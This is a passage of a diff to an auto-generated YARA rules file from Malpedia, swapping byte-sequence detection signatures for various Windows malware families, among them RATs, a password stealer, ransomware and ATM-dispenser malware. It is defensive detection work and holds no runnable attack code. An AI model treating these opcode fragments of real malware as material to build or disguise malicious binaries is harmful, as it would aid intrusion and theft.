50 8d4598 50 } - $sequence_6 = { 8d4588 50 8b856cffffff 8b00 ffb56cffffff ff90d8000000 } - $sequence_7 = { ffb5dcfeffff e8???????? 89852cfeffff eb07 83a52cfeffff00 8b45c0 } - $sequence_8 = { 83658000 8d45dc 50 8d45d8 50 8d45e0 } - $sequence_9 = { ff75d8 e8???????? dc9d68ffffff dfe0 } + $sequence_0 = { 4989d9 4d89fc 488b5c2430 4c8b7c2438 4589f0 4183fe39 0f8451030000 } + $sequence_1 = { 488b45d8 4889c1 488b05???????? ffd0 e9???????? 8b45bc } + $sequence_2 = { 74c4 b920000000 e8???????? 8b4324 83c001 894324 4183ed01 } + $sequence_3 = { 48898424f8040000 488b842450040000 4889842400050000 66c78424e00400000000 e8???????? 4889c2 488b4d10 } + $sequence_4 = { 743f 48c1ea20 7539 4883eb01 4889da e8???????? 85c0 } + $sequence_5 = { 7561 4181fd7a000780 7409 4181fd26000780 75b4 } + $sequence_6 = { 0f94c0 84c0 744a 8b45ec 89c0 4889c2 b940000000 } + $sequence_7 = { 48c78424a800000011000000 c78424bc00000000000000 eb31 8b8424bc000000 4898 488b54c420 488b4510 } + $sequence_8 = { 488d8c2450010000 488d942450020000 488d842450030000 4989c8 4889c1 e8???????? } + $sequence_9 = { ba01000000 b9f1000000 e8???????? 488945f0 488b05???????? } condition: - 7 of them and filesize < 1024000 + 7 of them and filesize < 246784 } -rule MALPEDIA_Win_Diceloader_Auto : FILE +rule MALPEDIA_Win_Sparrow_Door_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "e4ad2ec4-b137-51c9-b85d-da5f37acfb45" + id = "91053f9d-da7f-5861-a669-343fc4d9f35e" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.diceloader" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.diceloader_auto.yar#L1-L120" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sparrow_door" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sparrow_door_auto.yar#L1-L120" license_url = "N/A" - logic_hash = "1be6b9044c29cb995b59a77fc46c72f3850615efa951d1383ccf2030df818a85" + logic_hash = "c57cb5bf7003c0c8f6009858f16b398bf1f07f6fd24e51a6f375d303f48a1e92" score = 75 quality = 75 tags = "FILE" @@ -141302,32 +141057,32 @@ rule MALPEDIA_Win_Diceloader_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 488bcb e8???????? 4c634518 488d4c2420 4c03c3 41ffd0 } - $sequence_1 = { ff15???????? 488bd7 488d0d14260000 e8???????? } - $sequence_2 = { 8b5710 4c8d054f250000 488b4f08 41b91f000000 e8???????? } - $sequence_3 = { 448b07 488d1569000000 8b5f04 488d0d4b1e0000 e8???????? 4885c0 7413 } - $sequence_4 = { 0fb6c2 8a13 48c1e804 488b44c430 488941f8 } - $sequence_5 = { ff15???????? 488b1e 4885db 7420 488b1b 498bd6 } - $sequence_6 = { 440f4fe8 48035d48 418bd5 488d4b30 e8???????? 418bd5 8945e0 } - $sequence_7 = { 488dac2450faffff 4881ecb0060000 4c8d3d7b250000 c705????????00000000 } - $sequence_8 = { 448b541620 8b5c1624 4c03d2 4803da 4533c9 458d7901 458b02 } - $sequence_9 = { 488bda 448bc1 488d1561ffffff 488d0d761d0000 e8???????? } + $sequence_0 = { 8b4c242c 33ed 03e8 13cb } + $sequence_1 = { ffd7 8b1d???????? 50 ffd3 3bc5 740c } + $sequence_2 = { 53 51 885c241c e8???????? 83c40c 6882050000 8d542454 } + $sequence_3 = { 83c414 8d542450 52 57 ff15???????? 85c0 0f8599feffff } + $sequence_4 = { 50 c684242401000000 e8???????? 68f3010000 8d8c241d030000 56 } + $sequence_5 = { 85c0 743c 8b442418 8d4c2414 51 6a0b } + $sequence_6 = { 53 55 8b6c240c 57 6a00 6880000000 6a03 } + $sequence_7 = { 8b35???????? ffd6 8b0d???????? 6a64 } + $sequence_8 = { 837c242064 0f8d58010000 d16c241c 7508 } + $sequence_9 = { 68ff1f0000 8d8c24c9000000 6a00 51 895c241c } condition: - 7 of them and filesize < 41984 + 7 of them and filesize < 155648 } -rule MALPEDIA_Win_Minibrowse_Auto : FILE +rule MALPEDIA_Win_Tarsip_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "10e3be16-7c28-577f-b9d3-3ef306665a79" + id = "75e9f569-8d36-54c4-8e68-bdfe5fadb50e" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.minibrowse" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.minibrowse_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tarsip" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tarsip_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "832a6f1a1806ae15f070571362445b96d0797510bb64e050cd468771ae5f3839" + logic_hash = "d620ca424e61c9ab1970fe1ca1122ff88c39fb4068349c8790c7e61013d76968" score = 75 quality = 75 tags = "FILE" @@ -141341,32 +141096,32 @@ rule MALPEDIA_Win_Minibrowse_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 488b10 488b442440 488b08 49b9fe54fd6de0b04522 4c030d???????? } - $sequence_1 = { eb00 488b45b8 8b10 488d4dd8 e8???????? eb00 488b15???????? } - $sequence_2 = { 48b82faa1e82712b2956 480305???????? 8b08 48b82faa1e82712b2956 480305???????? 8908 48b82faa1e82712b2956 } - $sequence_3 = { ffd0 4889442430 488b542430 488b4c2438 49b8ae95c15973721312 4c0305???????? 48b80ca985ca9581e688 } - $sequence_4 = { f7f1 89c1 48b85a5ff63d0a40dfa2 480305???????? 8908 48b85a5ff63d0a40dfa2 480305???????? } - $sequence_5 = { b903000000 31d2 f7f1 89c1 48b8d4f3e92d0d1244e8 480305???????? } - $sequence_6 = { 48894c2438 488b442438 4889442428 488b4c2440 48ba99b0f0dd579ba6c4 480315???????? 48b86641bd6f7fab0f25 } - $sequence_7 = { e9???????? 488b442438 48c7401000000000 488b442438 48c7401807000000 66c744244e0000 488b4c2438 } - $sequence_8 = { 01ca 48b9ae6044a06c22125f 48030d???????? 8911 a801 7502 eb36 } - $sequence_9 = { 4883ec48 88542447 4c89442438 48894c2430 488b4c2430 48894c2428 48ba856a0e13b3e6f301 } + $sequence_0 = { 895c2420 885c2410 6a25 68???????? 8d4c2414 899c243c010000 e8???????? } + $sequence_1 = { 53 68???????? 8d4c247c c78424940000000f000000 899c2490000000 889c2480000000 } + $sequence_2 = { b001 894c2410 88442414 0f85ff000000 8b742434 8b4614 8b4e18 } + $sequence_3 = { 7210 8b9424dc000000 52 e8???????? 83c404 84db 745c } + $sequence_4 = { ff15???????? 5b 33c0 5e c3 57 6a00 } + $sequence_5 = { 885c2470 6a0e 68???????? 8d4c2474 899c24bc0e0000 e8???????? 68ff000000 } + $sequence_6 = { 51 c68424c801000000 e8???????? 8bbc248c000000 be10000000 83c40c 39b42494000000 } + $sequence_7 = { 50 52 53 e8???????? 8b8690830000 8b08 } + $sequence_8 = { 8d44242c 50 8d4c242c 51 8d542424 52 ffd6 } + $sequence_9 = { eb03 897e08 8b5118 392a 7520 807f4500 7404 } condition: - 7 of them and filesize < 1779712 + 7 of them and filesize < 360448 } -rule MALPEDIA_Win_Getmypass_Auto : FILE +rule MALPEDIA_Win_Seasalt_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "14973234-1738-56b7-9223-d08c6bb175b6" + id = "53347621-44c1-525f-89d0-f50b729b9b9d" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.getmypass" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.getmypass_auto.yar#L1-L127" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.seasalt" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.seasalt_auto.yar#L1-L121" license_url = "N/A" - logic_hash = "e0df53beaa529f0daff55ba7793f7f6ede1e6ce78673fcc88efeed0e172026bc" + logic_hash = "efb41d41f20a6c99bb3444a374f65b02c8e63a28ca4361b924bf5bfe71fe1970" score = 75 quality = 75 tags = "FILE" @@ -141380,32 +141135,32 @@ rule MALPEDIA_Win_Getmypass_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 83c404 85c0 0f8444010000 8b4508 50 e8???????? } - $sequence_1 = { 3b4d10 7d12 8b550c 0355fc 8b4508 0345fc 8a08 } - $sequence_2 = { 8b45e0 0fbe08 83f944 0f8535010000 837de400 750b 8b55e0 } - $sequence_3 = { 55 8bec 83ec08 c745fc00000000 8d45fc 50 68???????? } - $sequence_4 = { 55 8bec 83ec08 833d????????04 721d a1???????? } - $sequence_5 = { 0f8400010000 837de400 750b 8b45e0 } - $sequence_6 = { 8b4d0c 51 e8???????? 83c40c 8d95d8f5ffff 52 8b4508 } - $sequence_7 = { 8b45fc 50 6a00 ff15???????? 8985f4fbffff } - $sequence_8 = { 8a55f8 8811 ebe1 c745f400000000 8b45f4 8945ec } - $sequence_9 = { 83f944 0f85b4020000 837d9819 0f86aa020000 c745a400000000 8b55e0 83ea01 } + $sequence_0 = { 8d842474010000 6804020000 50 51 ffd5 } + $sequence_1 = { f7d1 2bf9 8d9578fcffff 8bc1 8bf7 8bfa 8d9578fdffff } + $sequence_2 = { eb26 8d4508 8db67ccb0010 6a00 50 ff36 } + $sequence_3 = { 33c0 53 57 8a1c10 } + $sequence_4 = { 81ec90010000 8d442400 50 6801010000 ff15???????? f7d8 1bc0 } + $sequence_5 = { 6a00 8d55e8 6a08 52 50 ffd3 8d4de0 } + $sequence_6 = { 8d8c247c010000 6880000000 51 ff15???????? b981000000 } + $sequence_7 = { 83f964 7d08 8a4301 43 3c2f 75eb } + $sequence_8 = { a1???????? 53 53 68???????? 8d942484000000 6800020000 } + $sequence_9 = { 51 ff15???????? 8d542412 52 } condition: - 7 of them and filesize < 49152 + 7 of them and filesize < 139264 } -rule MALPEDIA_Win_Green_Dispenser_Auto : FILE +rule MALPEDIA_Win_Nokki_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "954f1c32-9e66-5f40-9a6c-8af93a40211b" + id = "5dc3d6e8-6868-523c-9edf-f4ac449ab566" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.green_dispenser" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.green_dispenser_auto.yar#L1-L128" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nokki" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nokki_auto.yar#L1-L149" license_url = "N/A" - logic_hash = "4d0e3b4ff260054d419dc5677f1ac18d6112aade6736ec0a9f2b7f8946b1fdb4" + logic_hash = "0fb121b3fe7dee465d08717e2553d7155ecc791f48d5f128590e890ccc5d33a8" score = 75 quality = 75 tags = "FILE" @@ -141419,32 +141174,36 @@ rule MALPEDIA_Win_Green_Dispenser_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 83c404 897508 895dfc 85f6 7453 8b450c 895e08 } - $sequence_1 = { 8d3c9e 03c2 03fa 49 } - $sequence_2 = { ffb554fbffff e8???????? 83c404 ff75d0 ff15???????? 8bbd9cfbffff 8b8da0fbffff } - $sequence_3 = { 8b7d08 85ff 747e 391f 757a 6a18 e8???????? } - $sequence_4 = { c1f803 b9???????? 8d3c9530df4200 8b11 2b17 3bd0 } - $sequence_5 = { 50 8b8530e5ffff c645f40d 8b048550aa4500 ff3406 } - $sequence_6 = { 0f841d010000 397e04 0f8e14010000 8b4e08 894dec 51 8bd7 } - $sequence_7 = { 6a00 68???????? ff75e8 0f57c0 660fd645f1 c745ec09000000 ff15???????? } - $sequence_8 = { 8bec 53 56 8b750c 57 8bfa 83fe03 } - $sequence_9 = { 7436 ba02000000 e8???????? 8945fc 85c0 74bf 8bd0 } + $sequence_0 = { e8???????? 33d2 68ce070000 52 } + $sequence_1 = { e8???????? 33c9 68ce070000 51 } + $sequence_2 = { a1???????? a3???????? a1???????? c705????????b7634000 } + $sequence_3 = { 8b550c 83c41c 6a00 6880000000 } + $sequence_4 = { 8945ca 8945ce 668945d2 e8???????? 33c0 8945d6 8945da } + $sequence_5 = { c745ec5c374000 894df8 8945fc 64a100000000 8945e8 8d45e8 } + $sequence_6 = { 51 52 ff15???????? 85c0 0f85b1010000 8b957ce8ffff } + $sequence_7 = { 8d8db4f7ffff 51 68???????? 56 ffd3 } + $sequence_8 = { e8???????? 33c0 8d4dac 51 668945ac 8945ae } + $sequence_9 = { e8???????? 83c404 8bf0 8d850cf8ffff } + $sequence_10 = { 68???????? eb10 6a0b 68???????? eb07 6a0d } + $sequence_11 = { 83c40c 6bc930 8975e0 8db1a0e94000 8975e4 eb2b } + $sequence_12 = { 888888e84000 40 ebe6 ff35???????? } + $sequence_13 = { e8???????? ebde 8bc8 83e01f c1f905 8b0c8d80054100 c1e006 } condition: - 7 of them and filesize < 838656 + 7 of them and filesize < 454656 } -rule MALPEDIA_Win_Smac_Auto : FILE +rule MALPEDIA_Win_Bookcodesrat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "aa200520-854b-5bad-b989-05c108d9a8dd" + id = "f4de16d7-c6b7-5d95-8f65-784498dd67cf" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.smac" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.smac_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bookcodesrat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bookcodesrat_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "048e342bef93bb6d74cc2ec6d93a75375cb38005feab23ff54823997fa4e630f" + logic_hash = "86df5d17676a07501443cee06a4988ba13f3d4cc771e2022b238854a7e0b8406" score = 75 quality = 75 tags = "FILE" @@ -141458,32 +141217,32 @@ rule MALPEDIA_Win_Smac_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 59 59 8bd8 8d8514f1ffff c645fc16 e8???????? 6a01 } - $sequence_1 = { ffd6 8d45e0 50 ff35???????? c745e04d6f7665 c745e446696c65 c745e845785700 } - $sequence_2 = { c3 8bff 55 8bec 8b4508 56 8d34c5d0504100 } - $sequence_3 = { 668985fcfeffff 668985fefeffff 58 6a5c 66898500ffffff 58 6a63 } - $sequence_4 = { 33c0 668985f0efffff 8d8504f1ffff 50 8d85c0efffff 50 56 } - $sequence_5 = { 6aff ff7508 bbe9fd0000 50 53 ffd6 8bf8 } - $sequence_6 = { ff35???????? 66898d76ffffff c745a04765744d 66c745a46f64 c645a675 66c745a86546 c645aa69 } - $sequence_7 = { 58 6a5b 66894594 33c0 66894596 58 } - $sequence_8 = { 50 ffd6 53 6a07 8d8d34feffff 51 53 } - $sequence_9 = { 50 ff15???????? ffb568f4ffff ff15???????? 56 e8???????? 59 } + $sequence_0 = { c785f8010000097c504a 66c785fc0100004c4a c685fe0100006a 8845c8 488945c9 8945d1 668945d5 } + $sequence_1 = { 33d2 41b848090000 897c2444 897c2440 e8???????? 41ff942490000000 488d4c2444 } + $sequence_2 = { 4883c002 bf0c000000 488906 eb05 bf0b000000 488d4c2420 488bd3 } + $sequence_3 = { 33d2 41b808020000 e8???????? 0fb754245c 0fb74c2458 0fb744245a 0fb77c2456 } + $sequence_4 = { e8???????? cc 8b4b28 488b4308 498bd4 } + $sequence_5 = { 4885c9 7406 ff15???????? 4883bb7002000008 720c 488b8b58020000 e8???????? } + $sequence_6 = { 488bd0 e8???????? 89442438 41b901000000 488d8b30330000 488d542438 458d4103 } + $sequence_7 = { 66f2af 48f7d1 4c8d41ff 488d55c0 488d4d90 e8???????? } + $sequence_8 = { 488bf1 488d151bbd0200 488d0d30d50200 e8???????? 4883c9ff 488bfe 488bd8 } + $sequence_9 = { 32c2 ffc2 3433 428884058f070000 83fa14 7ce4 4863c2 } condition: - 7 of them and filesize < 212992 + 7 of them and filesize < 544768 } -rule MALPEDIA_Win_Satana_Auto : FILE +rule MALPEDIA_Win_Photolite_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "2e802f49-7188-54f8-af9a-7b169267990a" + id = "53c3df95-9bf0-54a3-a4f4-6196a8124e14" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.satana" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.satana_auto.yar#L1-L122" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.photolite" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.photolite_auto.yar#L1-L167" license_url = "N/A" - logic_hash = "97eda1bd522e83f5fcc03e351c0ecc778e9c052cbb2ce47bd57943571eacd366" + logic_hash = "f9046ee3a914a22a767c3824ddb8832f1006b7774a4b79556e164865f1d4f92c" score = 75 quality = 75 tags = "FILE" @@ -141497,32 +141256,38 @@ rule MALPEDIA_Win_Satana_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 9c 90 8b1d???????? 6a00 } - $sequence_1 = { 50 68???????? a3???????? e8???????? 83c408 03df } - $sequence_2 = { a1???????? 6a00 03d2 52 50 ffd6 8b55ec } - $sequence_3 = { 83c404 8bf0 660f57c0 660f1345c4 8b5dc4 8b7dac } - $sequence_4 = { f7c200000002 7436 660f2805???????? 90 } - $sequence_5 = { 0fb64c0de8 c1ea04 0fb65415e8 8850ff 8808 0fb64c35ae } - $sequence_6 = { 50 68???????? e8???????? 83c414 eb14 ff15???????? } - $sequence_7 = { 83c404 68???????? eb33 8d4db0 51 } - $sequence_8 = { 8bc8 d1e8 83e101 33048d00904000 3305???????? a3???????? 33c0 } - $sequence_9 = { 57 8d45fc 50 3308 db6819 203c53 6840200800 } + $sequence_0 = { 4883f905 72e4 889db4010000 ba7e32f11a c785b801000035578374 } + $sequence_1 = { 4803cf 493bce 72e8 889d2c010000 c78530010000d857fc49 } + $sequence_2 = { c785e4020000b434516d c785e8020000813e467c c785ec02000097355758 c785f00200008022253d } + $sequence_3 = { 4c897020 55 488da858f9ffff 4881eca0070000 33db } + $sequence_4 = { c78568040000bb4e5450 c7856c040000a94d1c35 8b8560040000 8a855c040000 } + $sequence_5 = { c78530060000a8eeaa04 c78534060000a8fbc56a 8b8520060000 8a851c060000 } + $sequence_6 = { 72e8 889dd0030000 baff978142 c785d403000094f2f32c c785d80300009afbb270 c785dc030000d1f3ed2e } + $sequence_7 = { c74548ba572c54 8b4540 8a453c 84c0 7518 } + $sequence_8 = { 4885c0 0f8419010000 488b15???????? 4885d2 7517 ba01000000 33c9 } + $sequence_9 = { 488bcb 0f1f4000 66660f1f840000000000 8b448c24 35e6845659 } + $sequence_10 = { 41b8956927f2 e8???????? 488d4dd0 ffd0 b001 } + $sequence_11 = { 0f114020 0f104a30 0f114830 488b05???????? } + $sequence_12 = { 488d4c2430 41ffd0 85c0 7527 8b442420 2b442428 03442424 } + $sequence_13 = { 488d85a0010000 448838 488d4001 4883eb01 75f3 41b001 488d8da0010000 } + $sequence_14 = { 4d8d0480 0fb602 83e107 410200 41320429 } + $sequence_15 = { e8???????? b9100e0000 ffd0 488d95f0030000 4489bdf0030000 488d0d72aaffff e8???????? } condition: - 7 of them and filesize < 221184 + 7 of them and filesize < 99328 } -rule MALPEDIA_Win_Kugelblitz_Auto : FILE +rule MALPEDIA_Win_Abcsync_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "db17bbb0-50e5-5fe6-929a-1431a26aafbe" + id = "02af896d-ede7-5659-a477-3d4aaff1c995" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kugelblitz" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kugelblitz_auto.yar#L1-L115" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.abcsync" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.abcsync_auto.yar#L1-L128" license_url = "N/A" - logic_hash = "4575fda7b8a74c948e62c70a1906fcade3b297881f83d4f61f7fa59414771962" + logic_hash = "1265b61a325fe240ea536a84f366a66df81cfa15aa46380fd4f4b2886a744626" score = 75 quality = 75 tags = "FILE" @@ -141536,32 +141301,32 @@ rule MALPEDIA_Win_Kugelblitz_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 448bc0 83f8ff 0f8405010000 0f1f440000 488b4de8 } - $sequence_1 = { c3 488d0511430000 c3 488d0501430000 c3 } - $sequence_2 = { 4053 4883ec20 488bd9 488d0580230000 488901 } - $sequence_3 = { 4883c227 488b49f8 482bc1 4883c0f8 4883f81f 7669 } - $sequence_4 = { 483bd3 0f8727010000 48896c2430 4883ca07 488b6918 } - $sequence_5 = { 488d542448 488d4c2470 480f47542448 e8???????? 488b442470 } - $sequence_6 = { 488d0da2410000 e8???????? 85c0 742e 32c0 eb33 } - $sequence_7 = { 33db eb49 4881f900100000 7238 } - $sequence_8 = { 4a8d1409 e8???????? 48895de8 488b8f80000000 ff15???????? } - $sequence_9 = { 488b442470 4533c0 ba02000000 48634804 488d442470 } + $sequence_0 = { 488b15???????? 41be2c010000 33c9 458bc6 ff15???????? 488b15???????? 4533e4 } + $sequence_1 = { 8d4108 410fb64c1a07 4898 422a0c18 b81f85eb51 } + $sequence_2 = { ba01000000 85c9 7e13 8bc1 0f1f840000000000 c1e204 } + $sequence_3 = { 4c63c2 488bcb 33d2 e8???????? 8b542454 418bfc 4c8b35???????? } + $sequence_4 = { 488d4c2420 c74424205c595f6a c74424245c653601 e8???????? 488905???????? 488b4c2428 } + $sequence_5 = { 2bc8 8d411c 4898 420fb60c18 410fb7441a36 662bc1 418d491d } + $sequence_6 = { 488d057d3b0100 488945e0 895128 488d0d17950000 488b45d8 488908 488d0d69200100 } + $sequence_7 = { 75d4 0f1101 498bd1 0f114110 0f114120 0f114130 0f114140 } + $sequence_8 = { 03d0 6bc232 2bc8 8d4116 420fb64c13fb 4898 422a0c18 } + $sequence_9 = { 2bc8 8d4121 420fb64c13fe 4898 422a0c18 } condition: - 7 of them and filesize < 82944 + 7 of them and filesize < 348160 } -rule MALPEDIA_Win_Agfspy_Auto : FILE +rule MALPEDIA_Win_Scarecrow_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "4e342af2-55f5-5fdc-91a0-c4e1164ec1ad" + id = "d4797137-49f1-5101-9dc1-24aec16a402a" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.agfspy" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.agfspy_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.scarecrow" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.scarecrow_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "2c968cb953938166f8c4bb13e44158b837061eedd931abcb024c0888547d30a4" + logic_hash = "3c26486fac68aa14cbad0f26e91bc7559e11337af778c6912a8bda339578018a" score = 75 quality = 75 tags = "FILE" @@ -141575,32 +141340,32 @@ rule MALPEDIA_Win_Agfspy_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8901 8b0b 85c9 7405 8b01 ff5010 8933 } - $sequence_1 = { 8bc6 8b4d0c 890e 8b4d10 5f 894e04 5e } - $sequence_2 = { c744c81000000000 8d2cc8 8b4c241c c7451400000000 0f1001 0f114500 f30f7e4110 } - $sequence_3 = { 8bc8 6a01 ff12 8d4d98 e8???????? 0f57c0 c745e800000000 } - $sequence_4 = { b801000000 eb40 83ec08 c6462401 50 e8???????? 8945d0 } - $sequence_5 = { 5e 5b 8be5 5d c20400 8b470c 33f6 } - $sequence_6 = { 3c0a 7409 6a0a 8bce e8???????? 837f3c10 8d4728 } - $sequence_7 = { b001 c6460401 e9???????? 8b01 ff5018 83f8ff 7405 } - $sequence_8 = { e8???????? 0fb7ff eb16 0fb77c2410 8d4c2414 e8???????? 0fb7ff } - $sequence_9 = { 8bcf e8???????? 8bc8 e8???????? 8bc8 e8???????? 83ec18 } + $sequence_0 = { c645d951 c645da70 c645db4c c645dc70 c645dd2b c645de70 c645df16 } + $sequence_1 = { c645d55b c645d678 c645d77c c645d878 c645d928 c645da78 c645db7c } + $sequence_2 = { 40 74ec 5f 5e b801000000 5b } + $sequence_3 = { 56 6a49 68d340dedd ba0f000000 8bf1 e8???????? 83c408 } + $sequence_4 = { 99 f7fb 85d2 74d8 8a06 8bde 84c0 } + $sequence_5 = { 757b b905000000 8b45fc 99 f7f9 85d2 7405 } + $sequence_6 = { be05000000 0f1f440000 8b45b8 99 f7fe 85d2 7405 } + $sequence_7 = { 59 e9???????? c745dc03000000 eb7c c745e030024300 ebbb d9e8 } + $sequence_8 = { c745e030024300 e9???????? 83e80f 7451 83e809 7443 83e801 } + $sequence_9 = { 7528 e8???????? 85c0 0f847f020000 e8???????? 6a4d } condition: - 7 of them and filesize < 1482752 + 7 of them and filesize < 501760 } -rule MALPEDIA_Win_Darkme_Auto : FILE +rule MALPEDIA_Win_Dispenserxfs_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "1036dced-69e3-5dff-8a15-6ed9a4e7c833" + id = "dcad1348-3e3e-5861-ac43-e7a329125581" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkme" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.darkme_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dispenserxfs" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dispenserxfs_auto.yar#L1-L123" license_url = "N/A" - logic_hash = "816ab6c03be8b7c8209c8913616f17d58c6b5480cc780d2ab0b0d2412d8ca815" + logic_hash = "8f86c5e67886e9169f08b08ef67943d3d51f035e4bbfcd62571f895fcd1de81c" score = 75 quality = 75 tags = "FILE" @@ -141614,32 +141379,32 @@ rule MALPEDIA_Win_Darkme_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 40 f7d8 668985f0feffff 8d4d84 ff15???????? 8d8d70ffffff ff15???????? } - $sequence_1 = { eb12 8b95ecfeffff 81c2???????? 8995a8feffff 8b85a8feffff 8b08 8b95a8feffff } - $sequence_2 = { 8d4ddc 898d90feffff 8b9590feffff 8b02 8985e4feffff 6a00 8b4dc8 } - $sequence_3 = { 8b8504ffffff 8b08 8b01 52 ff9098030000 50 } - $sequence_4 = { c745f8???????? c745fc00000000 8b7508 8b06 56 ff5004 668b4d0c } - $sequence_5 = { 7459 c745fc08000000 6a10 8b55cc 52 8d45d0 50 } - $sequence_6 = { c745b801000000 c745b002000000 8b55d4 52 8d45b0 50 d9856cffffff } - $sequence_7 = { 898d24ffffff eb12 8b9530ffffff 81c2???????? 899524ffffff 8b8524ffffff 8b08 } - $sequence_8 = { 8b1491 52 68???????? e8???????? 8bd0 8d4dac ff15???????? } - $sequence_9 = { 6a00 6a00 6a01 6a08 8b9530ffffff 81c2???????? 52 } + $sequence_0 = { 68???????? e8???????? 8b4c242c 83c41c 8bc1 } + $sequence_1 = { 58 6689854affffff 33c0 66898574ffffff 8d45cc } + $sequence_2 = { 75ee 83c004 0fb708 66890f } + $sequence_3 = { 68???????? e8???????? 59 ff75fc ff15???????? eb0d } + $sequence_4 = { 47 84c0 75f8 8bca 8d85f8eeffff c1e902 f3a5 } + $sequence_5 = { 0f84e6000000 0fb74106 50 0fb74104 50 } + $sequence_6 = { 57 8d45f0 8bd9 50 6860ea0000 33f6 895de4 } + $sequence_7 = { 0f8408010000 33f6 8bcb 894df4 663bf2 0f83f8000000 57 } + $sequence_8 = { 6683f802 750b 8b4c2408 e8???????? eb10 0fb6c1 50 } + $sequence_9 = { 89b544ffffff 89b564ffffff 89b568ffffff 89b56cffffff 89b570ffffff 89b57cffffff } condition: - 7 of them and filesize < 1515520 + 7 of them and filesize < 114688 } -rule MALPEDIA_Win_Kins_Auto : FILE +rule MALPEDIA_Win_Oni_Auto : FILE { meta: description = "autogenerated rule 